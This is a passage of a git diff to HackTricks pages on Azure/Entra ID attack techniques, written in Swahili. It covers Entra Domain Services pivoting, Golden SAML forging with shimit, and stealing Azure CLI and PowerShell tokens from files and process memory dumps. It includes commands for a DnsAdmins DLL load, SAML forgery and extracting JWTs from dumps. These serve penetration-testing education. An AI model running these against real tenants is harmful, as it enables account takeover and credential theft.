kwa kutumia API isiyoandikwa, lakini hakuna PoC iliyopatikana hadi sasa kwa maoni yangu.\ -Katika hali yoyote, kufikiria kwamba hii inaweza kuwa inawezekana itakuwa ya kuvutia kuchunguza zaidi jinsi ya kupata cheti cha kuingia kama huduma hii ya msingi na kujaribu kukitumia. +Imependekezwa kwamba SP wa programu hii bado inaweza kutumika kufanya baadhi ya vitendo vya kijasiri kwa kutumia API isiyoandikwa, lakini hakuna PoC iliyopatikana hadi sasa.\ +Katika hali yoyote, kufikiria kwamba hii inaweza kuwa inawezekana itakuwa ya kuvutia kuchunguza zaidi jinsi ya kupata cheti cha kuingia kama huduma hii ya kiongozi na kujaribu kukitumia. -Hii [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) ilitolewa hivi karibuni kabla ya mabadiliko kutoka kutumia mtumiaji `Sync_*` hadi huduma hii ya msingi, ilielezea kwamba cheti kilihifadhiwa ndani ya seva na ilikuwa inawezekana kukipata, kuunda PoP (Proof of Possession) yake na token ya grafu, na kwa hili, kuwa na uwezo wa kuongeza cheti kipya kwa huduma ya msingi (kwa sababu **huduma ya msingi** inaweza kila wakati kujitengenezea cheti kipya) na kisha kuitumia kudumisha uthabiti kama SP. +Hii [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) ilitolewa hivi karibuni kabla ya mabadiliko kutoka kutumia mtumiaji `Sync_*` hadi huduma hii ya kiongozi, ilielezea kwamba cheti kilihifadhiwa ndani ya seva na ilikuwa inawezekana kukipata, kuunda PoP (Proof of Possession) yake na token ya grafu, na kwa hili, kuwa na uwezo wa kuongeza cheti kipya kwa huduma ya kiongozi (kwa sababu **service principal** inaweza kila wakati kujitengenezea cheti kipya) na kisha kukitumia kudumisha uthabiti kama SP. Ili kutekeleza vitendo hivi, zana zifuatazo zimechapishwa: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils). -Katika uzoefu wangu, cheti hakihifadhiwi tena katika mahali ambapo zana ya awali ilikuwa ikitafuta, na kwa hivyo, zana hiyo haifanyi kazi tena. Hivyo, utafiti zaidi unaweza kuhitajika. +Katika uzoefu wangu, cheti hakihifadhiwi tena mahali ambapo zana ya awali ilikuwa ikitafuta, na kwa hivyo, zana hiyo haifanyi kazi tena. Hivyo, utafiti zaidi unaweza kuhitajika. ### Kutumia Sync\_\* [DEPRECATED] > [!WARNING] -> Awali mtumiaji anayeitwa `Sync_*` aliumbwa katika Entra ID na ruhusa nyeti sana zilizotolewa, ambazo ziliruhusu kufanya vitendo vya kijasiri kama kubadilisha nenosiri la mtumiaji yeyote au kuongeza akidi mpya kwa huduma ya msingi. Hata hivyo, kuanzia Jan2025 mtumiaji huyu hauumbwi tena kwa kawaida kwani sasa programu/SP **`ConnectSyncProvisioning_ConnectSync_`** inatumika. Hata hivyo, inaweza bado kuwepo katika mazingira mengine, hivyo inafaa kuangalia kwa ajili yake. +> Awali mtumiaji anayeitwa `Sync_*` aliumbwa katika Entra ID na ruhusa nyeti sana zilizotolewa, ambazo ziliruhusu kufanya vitendo vya kijasiri kama kubadilisha nenosiri la mtumiaji yeyote au kuongeza akidi mpya kwa huduma ya kiongozi. Hata hivyo, kuanzia Jan2025 mtumiaji huyu hauumbwi tena kwa kawaida kwani sasa programu/SP **`ConnectSyncProvisioning_ConnectSync_`** inatumika. Hata hivyo, inaweza bado kuwepo katika mazingira mengine, hivyo inafaa kuangalia kwa ajili yake. Kuhatarisha akaunti ya **`Sync_*`** inawezekana **kurekebisha nenosiri** la mtumiaji yeyote (ikiwemo Wasimamizi wa Kimataifa) ```bash diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md new file mode 100644 index 000000000..2ad35678d --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md @@ -0,0 +1,86 @@ +# Az - Microsoft Entra Domain Services + +{{#include ../../../../banners/hacktricks-training.md}} + +## Huduma za Kikoa + +Microsoft Entra Domain Services inaruhusu kuanzisha Active Directory katika Azure bila kuhitaji kusimamia Domain Controllers (kwa kweli huwezi hata kuwa na ufikiaji wao). + +Lengo lake kuu ni kukuruhusu kuendesha programu za zamani katika wingu ambazo hazina uwezo wa kutumia mbinu za uthibitishaji wa kisasa, au ambapo hutaki utafutaji wa directory kila wakati urudi kwenye mazingira ya AD DS ya ndani. + +Kumbuka kwamba ili kusawazisha watumiaji walioanzishwa katika Entra ID (na sio kusawazishwa kutoka kwa active directories nyingine) kwa huduma ya kikoa ya AD unahitaji **kubadilisha nenosiri la mtumiaji** kuwa jipya ili liweze kusawazishwa na AD mpya. Kwa kweli, mtumiaji hasawazishwi kutoka Microsoft Entra ID hadi Huduma za Kikoa hadi nenosiri libadilishwe. + +> [!WARNING] +> Hata kama unaunda kikoa kipya cha active directory huwezi kukisimamia kabisa (isipokuwa kwa kutumia baadhi ya makosa ya usanidi), ambayo inamaanisha kwamba kwa kawaida huwezi kuunda watumiaji katika AD moja kwa moja. Unawaunda kwa **kusawazisha watumiaji kutoka Entra ID.** Unaweza kuashiria kusawazisha watumiaji wote (hata wale waliohusishwa kutoka AD za ndani), watumiaji wa wingu pekee (watumiaji walioanzishwa katika Entra ID), au hata **kuwafanyia uchujaji zaidi**. + +> [!NOTE] +> Kwa ujumla, kutokana na ukosefu wa kubadilika katika usanidi wa kikoa kipya na ukweli kwamba AD mara nyingi tayari ziko ndani, hii siyo muunganiko mkuu kati ya Entra ID na AD, lakini bado ni ya kuvutia kujua jinsi ya kuathiri. + +### Pivoting + +Wajumbe wa kundi lililoundwa la **`AAD DC Administrators`** wanapewa ruhusa za usimamizi wa ndani kwenye VMs ambazo zimeunganishwa na kikoa kinachosimamiwa (lakini sio katika domain controllers) kwa sababu wameongezwa kwenye kundi la wasimamizi wa ndani. Wajumbe wa kundi hili pia wanaweza kutumia **Remote Desktop kuungana kwa mbali na VMs zilizounganishwa na kikoa**, na pia ni wajumbe wa makundi: + +- **`Denied RODC Password Replication Group`**: Hili ni kundi linalobainisha watumiaji na makundi ambayo nywila zao hazinaweza kuhifadhiwa kwenye RODCs (Read-Only Domain Controllers). +- **`Group Policy Creators Owners`**: Kundi hili linawaruhusu wajumbe kuunda Sera za Kundi katika kikoa. Hata hivyo, wajumbe wake hawawezi kutekeleza sera za kundi kwa watumiaji au kundi au kuhariri GPO zilizopo, hivyo si ya kuvutia sana katika mazingira haya. +- **`DnsAdmins`**: Kundi hili linaruhusu kusimamia mipangilio ya DNS na limekuwa likitumiwa vibaya katika siku za nyuma ili [kuinua ruhusa na kuathiri kikoa](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), hata hivyo baada ya kujaribu shambulio katika mazingira haya ilithibitishwa kwamba udhaifu umepatiwa suluhisho: +```text +dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll + +DNS Server failed to reset registry property. +Status = 5 (0x00000005) +Command failed: ERROR_ACCESS_DENIED 5 0x5 +``` +Kumbuka kwamba ili kutoa ruhusa hizi, ndani ya AD kundi **`AAD DC Administrators`** linakuwa mwanachama wa makundi ya awali, na pia GPO **`AADDC Computers GPO`** inawongeza kama Wasimamizi wa Mitaa wanachama wote wa kundi la kikoa **`AAD DC Administrators`**. + +Kupita kutoka Entra ID hadi AD iliyoundwa na Huduma za Kikoa ni rahisi, ongeza tu mtumiaji kwenye kundi **`AAD DC Administrators`**, upate ufikiaji kupitia RDP kwa mashine yoyote/zote katika kikoa na utaweza kuiba data na pia **kuathiri kikoa.** + +Hata hivyo, kupita kutoka kikoa hadi Entra ID si rahisi kwani hakuna chochote kutoka kikoa kinachosawazishwa katika Entra ID. Hata hivyo, kila wakati angalia metadata kwa VMs zote zilizounganishwa kwani utambulisho wao wa usimamizi uliotolewa unaweza kuwa na ruhusa za kuvutia. Pia **dondoa nywila za watumiaji wote kutoka kikoa** na jaribu kuzivunja ili kisha uingie katika Entra ID / Azure. + +> [!NOTE] +> Kumbuka kwamba katika siku za nyuma, udhaifu mwingine katika AD hii iliyosimamiwa ulipatikana ambao uliruhusu kuathiri DCs, [kama hii](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Mshambuliaji anayekabili DC anaweza kwa urahisi kudumisha uwepo bila wasimamizi wa Azure kugundua au hata kuwa na uwezo wa kuondoa. + +### Enumeration +```bash +# Get configured domain services domains (you can add more subs to check in more subscriptions) +az rest --method post \ +--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \ +--body '{ +"subscriptions": [ +"0ce1297c-9153-425d-3229-f51093614377" +], +"query": "resources | where type == \"microsoft.aad/domainservices\"", +"options": { +"$top": 16, +"$skip": 0, +"$skipToken": "" +} +}' + +# Get domain configuration +az rest --url "https://management.azure.com/subscriptions//resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/?api-version=2022-12-01&healthdata=true" +## e.g. +az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true" + +# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain + +subscription_id="0ce1297c-9153-425d-3229-f51093614377" +vnet_name="aadds-vnet" + +# Retrieve all VMs in the subscription +vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv) + +# Iterate through each VM to check their VNet connection +echo "VMs connected to VNet '$vnet_name':" +while IFS=$'\t' read -r vm_name resource_group; do +nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv) + +for nic_id in $nic_ids; do +subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv) + +if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then +echo "VM Name: $vm_name, Resource Group: $resource_group" +fi +done +done <<< "$vm_list" +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md similarity index 72% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md index 06cf88e86..1e6399114 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md @@ -6,14 +6,14 @@ [From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed) ->**Federation** ni mkusanyiko wa **domains** ambazo zimeanzisha **trust**. Kiwango cha uaminifu kinaweza kutofautiana, lakini kwa kawaida kinajumuisha **authentication** na karibu kila wakati kinajumuisha **authorization**. Federation ya kawaida inaweza kujumuisha **idara kadhaa** ambazo zimeanzisha **trust** kwa **upatikanaji wa pamoja** wa seti ya rasilimali. ->Unaweza **federate mazingira yako ya on-premises** **na Azure AD** na kutumia federation hii kwa ajili ya authentication na authorization. Njia hii ya kuingia inahakikisha kwamba **authentication ya mtumiaji inafanyika kwenye on-premises**. Njia hii inaruhusu wasimamizi kutekeleza viwango vya juu vya udhibiti wa upatikanaji. Federation na **AD FS** na PingFederate inapatikana. +>**Federation** ni mkusanyiko wa **domains** ambazo zimeanzisha **trust**. Kiwango cha trust kinaweza kutofautiana, lakini kwa kawaida kinajumuisha **authentication** na karibu kila wakati kinajumuisha **authorization**. Federation ya kawaida inaweza kujumuisha **mashirika kadhaa** ambayo yameanzisha **trust** kwa **upatikanaji wa pamoja** wa seti ya rasilimali. +>Unaweza **federate your on-premises** environment **with Azure AD** na kutumia federation hii kwa ajili ya authentication na authorization. Njia hii ya kuingia inahakikisha kwamba **authentication ya mtumiaji inafanyika kwenye eneo**. Njia hii inaruhusu wasimamizi kutekeleza viwango vya juu vya udhibiti wa upatikanaji. Federation na **AD FS** na PingFederate inapatikana.
-Kimsingi, katika Federation, **authentication** yote inafanyika katika mazingira ya **on-prem** na mtumiaji anapata SSO katika mazingira yote ya kuaminika. Hivyo, watumiaji wanaweza **kupata** **cloud** maombi kwa kutumia **on-prem credentials** zao. +Kimsingi, katika Federation, **authentication** yote inafanyika katika mazingira ya **on-prem** na mtumiaji anapata SSO katika mazingira yote ya kuaminika. Hivyo, watumiaji wanaweza **access** **cloud** applications kwa kutumia **on-prem credentials** zao. -**Security Assertion Markup Language (SAML)** inatumika kwa ajili ya **kuchangia** taarifa zote za authentication na authorization kati ya watoa huduma. +**Security Assertion Markup Language (SAML)** inatumika kwa ajili ya **exchanging** taarifa zote za authentication na authorization kati ya watoa huduma. Katika mpangilio wowote wa federation kuna pande tatu: @@ -24,9 +24,9 @@ Katika mpangilio wowote wa federation kuna pande tatu:
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
1. Kwanza, programu (Mtoa Huduma au SP, kama vile AWS console au vSphere web client) inafikiwa na mtumiaji. Hatua hii inaweza kupuuziliwa mbali, ikimpeleka mteja moja kwa moja kwa IdP (Mtoa Kitambulisho) kulingana na utekelezaji maalum. -2. Kisha, SP inatambua IdP sahihi (mfano, AD FS, Okta) kwa ajili ya authentication ya mtumiaji. Kisha inaunda SAML (Security Assertion Markup Language) AuthnRequest na kuhamasisha mteja kwa IdP iliyochaguliwa. +2. Kisha, SP inatambua IdP sahihi (mfano, AD FS, Okta) kwa ajili ya authentication ya mtumiaji. Kisha inaunda SAML (Security Assertion Markup Language) AuthnRequest na inampeleka mteja kwa IdP iliyochaguliwa. 3. IdP inachukua jukumu, ikimthibitisha mtumiaji. Baada ya uthibitisho, SAMLResponse inaundwa na IdP na kupelekwa kwa SP kupitia mtumiaji. -4. Hatimaye, SP inakagua SAMLResponse. Ikiwa imethibitishwa kwa mafanikio, ikionyesha uhusiano wa uaminifu na IdP, mtumiaji anapewa upatikanaji. Hii inamaanisha kumalizika kwa mchakato wa kuingia, ikiruhusu mtumiaji kutumia huduma hiyo. +4. Hatimaye, SP inakagua SAMLResponse. Ikiwa imethibitishwa kwa mafanikio, ikionyesha uhusiano wa kuaminika na IdP, mtumiaji anapewa upatikanaji. Hii inamaanisha kumalizika kwa mchakato wa kuingia, ikimruhusu mtumiaji kutumia huduma hiyo. **Ikiwa unataka kujifunza zaidi kuhusu SAML authentication na mashambulizi ya kawaida nenda kwa:** @@ -38,15 +38,15 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html - AD FS ni mfano wa kitambulisho unaotegemea madai. - "..claimsaresimplystatements(forexample,name,identity,group), made about users, that are used primarily for authorizing access to claims-based applications located anywhere on the Internet." -- Madai ya mtumiaji yanaandikwa ndani ya SAML tokens na kisha kusainiwa ili kutoa usiri na IdP. -- Mtumiaji anajulikana kwa ImmutableID. Ni ya kipekee duniani kote na inahifadhiwa katika Azure AD. -- The ImmutableID inahifadhiwa kwenye on-prem as ms-DS-ConsistencyGuid kwa mtumiaji na/au inaweza kutolewa kutoka GUID ya mtumiaji. +- Madai kwa mtumiaji yanaandikwa ndani ya SAML tokens na kisha kusainiwa ili kutoa usiri na IdP. +- Mtumiaji anajulikana kwa ImmutableID. Ni ya kipekee duniani na inahifadhiwa katika Azure AD. +- The ImmutableID inahifadhiwa kwenye on-prem as ms-DS-ConsistencyGuid kwa mtumiaji na/au inaweza kutolewa kutoka kwa GUID wa mtumiaji. - Maelezo zaidi katika [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) **Golden SAML attack:** - Katika ADFS, SAML Response inasainiwa na cheti cha kusaini token. -- Ikiwa cheti kimeharibiwa, inawezekana kuthibitisha kwa Azure AD kama MTUMIAJI YOYOTE aliyeunganishwa na Azure AD! +- Ikiwa cheti kimeharibiwa, inawezekana kuthibitisha kwa Azure AD kama MTUMIAJI YEYOTE aliyeunganishwa na Azure AD! - Kama vile unavyofanya abuse ya PTA, kubadilisha nenosiri la mtumiaji au MFA hakutakuwa na athari yoyote kwa sababu tunaunda jibu la uthibitisho. - Cheti kinaweza kutolewa kutoka kwa seva ya AD FS kwa ruhusa za DA na kisha kinaweza kutumika kutoka kwa mashine yoyote iliyo na muunganisho wa intaneti. - Maelezo zaidi katika [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) @@ -55,20 +55,20 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html Mchakato ambapo **Mtoa Kitambulisho (IdP)** anatoa **SAMLResponse** ili kuidhinisha kuingia kwa mtumiaji ni muhimu. Kulingana na utekelezaji maalum wa IdP, **jibu** linaweza kuwa **limesainiwa** au **limefungwa** kwa kutumia **funguo binafsi za IdP**. Utaratibu huu unaruhusu **Mtoa Huduma (SP)** kuthibitisha uhalali wa SAMLResponse, kuhakikisha kwamba ilitolewa na IdP wa kuaminika. -Mfanoweza kuhusishwa na [shambulio la golden ticket](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), ambapo funguo inayothibitisha utambulisho wa mtumiaji na ruhusa (KRBTGT kwa tiketi za dhahabu, funguo binafsi za kusaini token kwa golden SAML) inaweza kudhibitiwa ili **kuunda kitu cha uthibitisho** (TGT au SAMLResponse). Hii inaruhusu kujifanya kama mtumiaji yeyote, ikitoa upatikanaji usioidhinishwa kwa SP. +Mfanoweza kuhusishwa na [golden ticket attack](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), ambapo funguo inayothibitisha utambulisho wa mtumiaji na ruhusa (KRBTGT kwa tiketi za dhahabu, funguo binafsi za kusaini token kwa golden SAML) inaweza kudhibitiwa ili **kuunda kitu cha uthibitisho** (TGT au SAMLResponse). Hii inaruhusu kuiga mtumiaji yeyote, ikitoa upatikanaji usioidhinishwa kwa SP. Golden SAMLs hutoa faida fulani: - Zinaweza **kuundwa kwa mbali**, bila haja ya kuwa sehemu ya domain au federation husika. -- Zinabaki kuwa na ufanisi hata na **Uthibitisho wa Mbili (2FA)** umewezeshwa. +- Zinabaki kuwa na ufanisi hata na **Two-Factor Authentication (2FA)** imewezeshwa. - Funguo binafsi ya kusaini **haijazinduliwa kiotomatiki**. - **Kubadilisha nenosiri la mtumiaji hakuharibu** SAML iliyotengenezwa tayari. #### AWS + AD FS + Golden SAML -[Active Directory Federation Services (AD FS)]() ni huduma ya Microsoft inayowezesha **kubadilishana kwa usalama wa taarifa za utambulisho** kati ya washirika wa biashara wa kuaminika (federation). Kimsingi inaruhusu huduma ya domain kushiriki utambulisho wa watumiaji na watoa huduma wengine ndani ya federation. +[Active Directory Federation Services (AD FS)]() ni huduma ya Microsoft inayowezesha **mabadilishano salama ya taarifa za utambulisho** kati ya washirika wa biashara wa kuaminika (federation). Kimsingi inaruhusu huduma ya domain kushiriki utambulisho wa watumiaji na watoa huduma wengine ndani ya federation. -Kwa AWS kuamini domain iliyoharibiwa (katika federation), udhaifu huu unaweza kutumika ili kupata **idhini yoyote katika mazingira ya AWS**. Shambulio linahitaji **funguo binafsi inayotumika kusaini vitu vya SAML**, kama vile inavyohitajika KRBTGT katika shambulio la golden ticket. Upatikanaji wa akaunti ya mtumiaji wa AD FS unatosha kupata funguo hii binafsi. +Kwa AWS kuamini domain iliyoharibiwa (katika federation), udhaifu huu unaweza kutumika ili kupata **idhini yoyote katika mazingira ya AWS**. Shambulio hili linahitaji **funguo binafsi inayotumika kusaini vitu vya SAML**, kama vile inavyohitajika KRBTGT katika shambulio la tiketi ya dhahabu. Upatikanaji wa akaunti ya mtumiaji wa AD FS unatosha kupata funguo hii binafsi. Mahitaji ya kutekeleza shambulio la golden SAML ni pamoja na: @@ -80,9 +80,9 @@ Mahitaji ya kutekeleza shambulio la golden SAML ni pamoja na: - Jina la kikao cha jukumu katika AWS - Amazon account ID -_Vitu vilivyo katika maandiko ya mafuta pekee ndivyo vinahitajika. Vingine vinaweza kujazwa kama inavyotakiwa._ +_Vitu vyote vilivyo na maandiko ya mafuta ni vya lazima. Vingine vinaweza kujazwa kama inavyotakiwa._ -Ili kupata **funguo binafsi**, upatikanaji wa **akaunti ya mtumiaji wa AD FS** ni muhimu. Kutoka hapo, funguo binafsi inaweza **kuzalishwa kutoka kwenye duka la kibinafsi** kwa kutumia zana kama [mimikatz](https://github.com/gentilkiwi/mimikatz). Ili kukusanya taarifa nyingine zinazohitajika, unaweza kutumia Microsoft.Adfs.Powershell snapin kama ifuatavyo, ukihakikisha umeingia kama mtumiaji wa ADFS: +Ili kupata **funguo binafsi**, upatikanaji wa **akaunti ya mtumiaji wa AD FS** ni muhimu. Kutoka hapo, funguo binafsi inaweza **kuzuiliwa kutoka kwenye duka binafsi** kwa kutumia zana kama [mimikatz](https://github.com/gentilkiwi/mimikatz). Ili kukusanya taarifa nyingine zinazohitajika, unaweza kutumia Microsoft.Adfs.Powershell snapin kama ifuatavyo, ukihakikisha umeingia kama mtumiaji wa ADFS: ```bash # From an "AD FS" session # After having exported the key with mimikatz @@ -96,7 +96,7 @@ Ili kupata **funguo binafsi**, upatikanaji wa **akaunti ya mtumiaji wa AD FS** n # Role Name (Get-ADFSRelyingPartyTrust).IssuanceTransformRule ``` -Kwa taarifa zote, inawezekana kusahau SAMLResponse halali kama mtumiaji unayetaka kujifanya kutumia [**shimit**](https://github.com/cyberark/shimit)**:** +Kwa kutumia taarifa zote, inawezekana kusahau SAMLResponse halali kama mtumiaji unayetaka kujifanya kutumia [**shimit**](https://github.com/cyberark/shimit)**:** ```bash # Apply session for AWS cli python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md similarity index 81% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md index ec4406b13..392cd6129 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md @@ -5,7 +5,7 @@ ## Kulazimisha Usawazishaji wa watumiaji wa Entra ID hadi kwenye on-prem -Kama ilivyotajwa katika [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), ilikuwa inawezekana kubadilisha thamani ya **`ProxyAddress`** ndani ya mtumiaji wa AD katika on-prem AD kwa kuongeza barua pepe ya mtumiaji wa admin wa Entra ID na pia kuhakikisha UPN wa mtumiaji katika AD na katika Entra ID inalingana (hii ni Entra ID tena), kama **`SMTP:admin@domain.onmicrosoft.com`**. Na hii ingelazimisha **usawazishaji wa mtumiaji huyu** kutoka Entra ID hadi kwenye on-prem AD, hivyo kama nenosiri la mtumiaji lilijulikana, lingeweza kutumika **kuingia kwenye admin aliyejulikana katika Entra ID.** +Kama ilivyotajwa katika [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), ilikuwa inawezekana kubadilisha thamani ya **`ProxyAddress`** ndani ya mtumiaji wa AD katika on-prem AD kwa kuongeza barua pepe ya mtumiaji wa admin wa Entra ID na pia kuhakikisha UPN wa mtumiaji katika AD na katika Entra ID inalingana (hii ni Entra ID tena), kama **`SMTP:admin@domain.onmicrosoft.com`**. Na hii inge **lazimisha usawazishaji wa mtumiaji huyu** kutoka Entra ID hadi kwenye on-prem AD, hivyo ikiwa nenosiri la mtumiaji lilijulikana, lingeweza kutumika **kuingia kwenye admin aliyejulikana katika Entra ID.** Ili kusawazisha mtumiaji mpya kutoka Entra ID hadi kwenye on-prem AD, haya ndiyo mahitaji pekee: @@ -15,7 +15,7 @@ Ili kusawazisha mtumiaji mpya kutoka Entra ID hadi kwenye on-prem AD, haya ndiyo > [!CAUTION] -> Entra ID haiwezi kuruhusu kusawazisha wasimamizi tena kutoka Entra ID hadi kwenye on-prem AD. +> Entra ID haiwezi kusawazisha wasimamizi tena kutoka Entra ID hadi kwenye on-prem AD. > Pia, hii **haitapita MFA**. diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md index 3301e35fe..d4c747f42 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md @@ -2,15 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -## Hifadhi ya Token za Mitaa na Mambo ya Usalama +## Local Token Storage and Security Considerations -### Azure CLI (Interface ya Amri) +### Azure CLI (Command-Line Interface) -Tokens na data nyeti huhifadhiwa kwa ndani na Azure CLI, na kuleta wasiwasi wa usalama: +Tokens na data nyeti huhifadhiwa kwa ndani na Azure CLI, kuleta wasiwasi wa usalama: 1. **Access Tokens**: Huhifadhiwa katika maandiko wazi ndani ya `accessTokens.json` iliyoko `C:\Users\\.Azure`. -2. **Taarifa za Usajili**: `azureProfile.json`, katika saraka hiyo hiyo, ina maelezo ya usajili. -3. **Faili za Kumbukumbu**: Folda ya `ErrorRecords` ndani ya `.azure` inaweza kuwa na kumbukumbu zenye akidi zilizofichuliwa, kama: +2. **Subscription Information**: `azureProfile.json`, katika directory hiyo hiyo, ina maelezo ya usajili. +3. **Log Files**: Folda ya `ErrorRecords` ndani ya `.azure` inaweza kuwa na logi zenye akidi zilizofichuliwa, kama vile: - Amri zilizotekelezwa zikiwa na akidi zilizojumuishwa. - URLs zilizofikiwa kwa kutumia tokens, ambazo zinaweza kufichua taarifa nyeti. @@ -18,22 +18,42 @@ Tokens na data nyeti huhifadhiwa kwa ndani na Azure CLI, na kuleta wasiwasi wa u Azure PowerShell pia huhifadhi tokens na data nyeti, ambazo zinaweza kufikiwa kwa ndani: -1. **Access Tokens**: `TokenCache.dat`, iliyoko `C:\Users\\.Azure`, huhifadhi access tokens katika maandiko wazi. -2. **Siri za Huduma ya Kimsingi**: Hizi huhifadhiwa bila usimbaji katika `AzureRmContext.json`. -3. **Kipengele cha Kuhifadhi Token**: Watumiaji wana uwezo wa kudumisha tokens kwa kutumia amri ya `Save-AzContext`, ambayo inapaswa kutumika kwa tahadhari ili kuzuia ufikiaji usioidhinishwa. +1. **Access Tokens**: `TokenCache.dat`, iliyoko `C:\Users\\.Azure`, huhifadhi tokens za ufikiaji katika maandiko wazi. +2. **Service Principal Secrets**: Hizi huhifadhiwa bila usimbaji katika `AzureRmContext.json`. +3. **Token Saving Feature**: Watumiaji wana uwezo wa kuhifadhi tokens kwa kutumia amri ya `Save-AzContext`, ambayo inapaswa kutumika kwa tahadhari ili kuzuia ufikiaji usioidhinishwa. -## Zana za Otomatiki za kuzipata +### Automatic Tools to find them - [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe) - [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1) -## Mapendekezo ya Usalama +## Tokens in memory -Kuzingatia uhifadhi wa data nyeti katika maandiko wazi, ni muhimu kulinda faili na saraka hizi kwa: +Kama ilivyoelezwa katika [**hii video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), baadhi ya programu za Microsoft zilizounganishwa na wingu (Excel, Teams...) zinaweza **kuhifadhi tokens za ufikiaji katika maandiko wazi katika kumbukumbu**. Hivyo basi **kudondoa** **kumbukumbu** ya mchakato na **kuangalia kwa JWT tokens** kunaweza kukupa ufikiaji wa rasilimali kadhaa za mwathirika katika wingu bila kupita MFA. -- Kuweka mipaka ya haki za ufikiaji kwa faili hizi. -- Kufuata na kukagua mara kwa mara saraka hizi kwa ufikiaji usioidhinishwa au mabadiliko yasiyotarajiwa. -- Kutumia usimbaji kwa faili nyeti inapowezekana. -- Kuwaelimisha watumiaji kuhusu hatari na mbinu bora za kushughulikia taarifa nyeti kama hizi. +Hatua: + +1. Dondoa mchakato wa excel uliounganishwa na mtumiaji wa EntraID kwa kutumia chombo chako unachokipenda. +2. Endesha: `string excel.dmp | grep 'eyJ0'` na pata tokens kadhaa katika matokeo +3. Pata tokens zinazokuvutia zaidi na endesha zana juu yao: +```bash +# Check the identity of the token +curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/me | jq + +# 